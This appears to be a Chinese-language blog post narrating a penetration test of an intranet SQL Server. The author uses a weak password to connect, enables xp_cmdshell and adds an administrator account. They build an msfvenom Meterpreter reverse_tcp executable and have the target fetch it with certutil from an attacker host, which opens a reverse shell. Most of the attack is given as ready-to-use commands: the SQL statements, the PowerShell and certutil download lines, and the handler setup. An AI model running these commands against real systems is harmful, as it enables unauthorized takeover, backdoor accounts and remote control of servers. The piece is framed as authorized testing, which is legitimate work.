最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···
对目标ip进行端口扫描,开放端口为80,445,1433,3389
因此确定了突破口,使用navicat成功连接sql server数据库
翻了一下,没什么数据,尝试拿服务器吧,因此直接新建查询,开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
然后执行命令
exec master..xp_cmdshell "whoami";
是system权限,和想象中的一样
3389是开着的,不如加个用户直接连接远程桌面吧
加强密码强度,重新添加
exec master..xp_cmdshell "net user test paperpen123. /add"; exec master..xp_cmdshell "net localgroup administrators test /add";
一切都很顺利,开始连接3389,但遗憾的是
是win7,只允许单用户登录,如果挤他的话被发现就不能继续玩耍了,还是放弃连接3389吧
我还是把shell弹到本地来吧,方便操作,但是说着简单,该怎么弹呢?
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
本地phpstudy快速搭建环境
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 195.1.7.23 LHOST => 195.1.7.23 msf5 exploit(multi/handler) > set LPORT 8888 LPORT => 8888 msf5 exploit(multi/handler) > exploit
一切准备就绪,就差服务器执行shell.exe文件了。接下来的命令,大多是我朋友Calendula提供的,感谢一下
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient"; exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
这两句本可以合并到一起执行,但是前面尝试执行其他命令时发现有长度限制
所以拆分进行执行,但是遗憾的是
DownloadFile无法使用,具体因为什么也没搞清楚,因此放弃了这种方法
朋友Calendula又给我提供了一种思路,使用certutil.exe,顿时惊呆、闻所未闻,命令如下:
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
使用dir查看,发现成功下载到了服务器上
就差一步了,输入下面的命令并紧张地点击了执行
exec master..xp_cmdshell 'shell.exe';
卡住了···,又执行了一遍,又卡住了···,又执行了一遍,什么情况···
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···
激动地截了张图
查看了一下是不是域环境
没错是的,看来还有很长的路要走。。
这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。